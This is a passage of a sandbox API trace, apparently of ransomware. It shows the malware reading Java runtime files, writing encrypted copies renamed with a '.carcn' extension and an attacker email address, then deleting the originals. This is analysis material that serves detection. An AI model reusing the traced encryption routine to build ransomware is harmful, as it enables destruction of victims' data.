Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.669] lstrlenW (lpString=".zip") returned 4 [0299.669] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.796] lstrlenW (lpString=".rar") returned 4 [0299.796] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.796] lstrlenW (lpString=".bz2") returned 4 [0299.796] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.796] lstrlenW (lpString=".7z") returned 3 [0299.796] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.796] lstrlenW (lpString=".dbf") returned 4 [0299.796] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.796] lstrlenW (lpString=".1cd") returned 4 [0299.796] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.796] lstrlenW (lpString=".jpg") returned 4 [0299.796] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.797] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0299.797] lstrlenW (lpString="glass.dll") returned 9 [0299.797] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0299.797] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=265792) returned 1 [0299.797] CloseHandle (hObject=0x34c) returned 1 [0299.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0299.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.797] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0299.797] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.798] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.798] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0299.798] GetLastError () returned 0x0 [0299.798] ReadFile (in: hFile=0x34c, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x40e40, lpOverlapped=0x0) returned 1 [0299.849] WriteFile (in: hFile=0x334, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x40e50, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x40e50, lpOverlapped=0x0) returned 1 [0299.853] ReadFile (in: hFile=0x34c, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.853] WriteFile (in: hFile=0x334, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xe6, lpOverlapped=0x0) returned 1 [0299.853] SetEndOfFile (hFile=0x334) returned 1 [0299.854] CloseHandle (hObject=0x334) returned 1 [0299.854] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.854] SetEndOfFile (hFile=0x34c) returned 1 [0299.856] CloseHandle (hObject=0x34c) returned 1 [0299.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0299.857] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 1 [0299.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.857] lstrlenW (lpString=".doc") returned 4 [0299.857] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.857] lstrlenW (lpString=".docx") returned 5 [0299.857] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0299.857] lstrlenW (lpString=".pdf") returned 4 [0299.857] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.857] lstrlenW (lpString=".xls") returned 4 [0299.857] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.857] lstrlenW (lpString=".xlsx") returned 5 [0299.857] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0299.857] lstrlenW (lpString=".ppt") returned 4 [0299.857] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.857] lstrlenW (lpString=".zip") returned 4 [0299.857] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.857] lstrlenW (lpString=".rar") returned 4 [0299.857] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.857] lstrlenW (lpString=".bz2") returned 4 [0299.857] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.858] lstrlenW (lpString=".7z") returned 3 [0299.858] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.858] lstrlenW (lpString=".dbf") returned 4 [0299.858] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.858] lstrlenW (lpString=".1cd") returned 4 [0299.858] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.858] lstrlenW (lpString=".jpg") returned 4 [0299.858] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.858] lstrlenW (lpString=".doc") returned 4 [0299.858] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.858] lstrlenW (lpString=".docx") returned 5 [0299.858] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0299.858] lstrlenW (lpString=".pdf") returned 4 [0299.858] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.858] lstrlenW (lpString=".xls") returned 4 [0299.858] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.858] lstrlenW (lpString=".xlsx") returned 5 [0299.858] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0299.858] lstrlenW (lpString=".ppt") returned 4 [0299.858] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.858] lstrlenW (lpString=".zip") returned 4 [0299.858] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.858] lstrlenW (lpString=".rar") returned 4 [0299.858] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.858] lstrlenW (lpString=".bz2") returned 4 [0299.858] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.858] lstrlenW (lpString=".7z") returned 3 [0299.858] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.859] lstrlenW (lpString=".dbf") returned 4 [0299.859] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.859] lstrlenW (lpString=".1cd") returned 4 [0299.859] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0299.859] lstrlenW (lpString=".jpg") returned 4 [0299.859] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.859] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0299.859] lstrlenW (lpString="gstreamer-lite.dll") returned 18 [0299.859] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0299.859] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=619584) returned 1 [0299.859] CloseHandle (hObject=0x34c) returned 1 [0299.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0299.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.860] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0299.860] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.860] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.860] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0299.860] GetLastError () returned 0x0 [0299.860] ReadFile (in: hFile=0x34c, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x97440, lpOverlapped=0x0) returned 1 [0299.955] WriteFile (in: hFile=0x334, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x97450, lpOverlapped=0x0) returned 1 [0299.967] ReadFile (in: hFile=0x34c, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.967] WriteFile (in: hFile=0x334, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xf8, lpOverlapped=0x0) returned 1 [0299.967] SetEndOfFile (hFile=0x334) returned 1 [0299.967] CloseHandle (hObject=0x334) returned 1 [0299.968] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.968] SetEndOfFile (hFile=0x34c) returned 1 [0299.974] CloseHandle (hObject=0x34c) returned 1 [0299.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0299.975] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1 [0299.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0299.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0299.975] lstrlenW (lpString=".doc") returned 4 [0299.975] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.975] lstrlenW (lpString=".docx") returned 5 [0299.975] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0299.975] lstrlenW (lpString=".pdf") returned 4 [0299.975] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.975] lstrlenW (lpString=".xls") returned 4 [0299.975] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.975] lstrlenW (lpString=".xlsx") returned 5 [0299.975] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0299.975] lstrlenW (lpString=".ppt") returned 4 [0299.975] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0299.975] lstrlenW (lpString=".zip") returned 4 [0299.975] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.975] lstrlenW (lpString=".rar") returned 4 [0299.975] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.975] lstrlenW (lpString=".bz2") returned 4 [0299.975] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.976] lstrlenW (lpString=".7z") returned 3 [0299.976] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0300.487] lstrlenW (lpString=".dbf") returned 4 [0300.487] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0300.487] lstrlenW (lpString=".1cd") returned 4 [0300.487] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0300.487] lstrlenW (lpString=".jpg") returned 4 [0300.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0300.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0300.488] lstrlenW (lpString=".doc") returned 4 [0300.488] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.488] lstrlenW (lpString=".docx") returned 5 [0300.488] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0300.488] lstrlenW (lpString=".pdf") returned 4 [0300.488] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.488] lstrlenW (lpString=".xls") returned 4 [0300.488] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.488] lstrlenW (lpString=".xlsx") returned 5 [0300.488] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0300.488] lstrlenW (lpString=".ppt") returned 4 [0300.488] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0300.488] lstrlenW (lpString=".zip") returned 4 [0300.488] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.488] lstrlenW (lpString=".rar") returned 4 [0300.488] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.488] lstrlenW (lpString=".bz2") returned 4 [0300.488] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.488] lstrlenW (lpString=".7z") returned 3 [0300.488] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0300.488] lstrlenW (lpString=".dbf") returned 4 [0300.488] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0300.488] lstrlenW (lpString=".1cd") returned 4 [0300.488] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0300.489] lstrlenW (lpString=".jpg") returned 4 [0300.489] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.489] lstrcmpiW (lpString1=".cpl", lpString2=".carcn") returned 1 [0300.489] lstrlenW (lpString="javacpl.cpl") returned 11 [0300.489] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.570] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=187392) returned 1 [0300.570] CloseHandle (hObject=0x388) returned 1 [0300.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0300.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.570] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.570] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.570] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.570] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0300.571] GetLastError () returned 0x0 [0300.571] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x2dc00, lpOverlapped=0x0) returned 1 [0300.590] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x2dc10, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x2dc10, lpOverlapped=0x0) returned 1 [0300.594] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.594] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xea, lpOverlapped=0x0) returned 1 [0300.594] SetEndOfFile (hFile=0x360) returned 1 [0300.594] CloseHandle (hObject=0x360) returned 1 [0300.594] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.594] SetEndOfFile (hFile=0x388) returned 1 [0300.597] CloseHandle (hObject=0x388) returned 1 [0300.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.597] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 1 [0300.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.597] lstrlenW (lpString=".doc") returned 4 [0300.597] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1 [0300.597] lstrlenW (lpString=".docx") returned 5 [0300.597] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1 [0300.597] lstrlenW (lpString=".pdf") returned 4 [0300.597] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1 [0300.598] lstrlenW (lpString=".xls") returned 4 [0300.598] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1 [0300.598] lstrlenW (lpString=".xlsx") returned 5 [0300.598] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1 [0300.598] lstrlenW (lpString=".ppt") returned 4 [0300.598] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1 [0300.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.598] lstrlenW (lpString=".zip") returned 4 [0300.598] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1 [0300.598] lstrlenW (lpString=".rar") returned 4 [0300.598] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1 [0300.598] lstrlenW (lpString=".bz2") returned 4 [0300.598] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1 [0300.598] lstrlenW (lpString=".7z") returned 3 [0300.598] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1 [0300.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.598] lstrlenW (lpString=".dbf") returned 4 [0300.598] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1 [0300.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.598] lstrlenW (lpString=".1cd") returned 4 [0300.598] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1 [0300.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.598] lstrlenW (lpString=".jpg") returned 4 [0300.598] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1 [0300.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.599] lstrlenW (lpString=".doc") returned 4 [0300.599] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1 [0300.599] lstrlenW (lpString=".docx") returned 5 [0300.599] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1 [0300.599] lstrlenW (lpString=".pdf") returned 4 [0300.599] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1 [0300.599] lstrlenW (lpString=".xls") returned 4 [0300.599] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1 [0300.599] lstrlenW (lpString=".xlsx") returned 5 [0300.599] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1 [0300.599] lstrlenW (lpString=".ppt") returned 4 [0300.599] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1 [0300.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.599] lstrlenW (lpString=".zip") returned 4 [0300.599] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1 [0300.599] lstrlenW (lpString=".rar") returned 4 [0300.599] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1 [0300.599] lstrlenW (lpString=".bz2") returned 4 [0300.599] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1 [0300.599] lstrlenW (lpString=".7z") returned 3 [0300.599] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1 [0300.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.599] lstrlenW (lpString=".dbf") returned 4 [0300.599] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1 [0300.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.599] lstrlenW (lpString=".1cd") returned 4 [0300.599] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1 [0300.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0300.600] lstrlenW (lpString=".jpg") returned 4 [0300.600] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1 [0300.600] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.600] lstrlenW (lpString="javafx_font.dll") returned 15 [0300.600] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 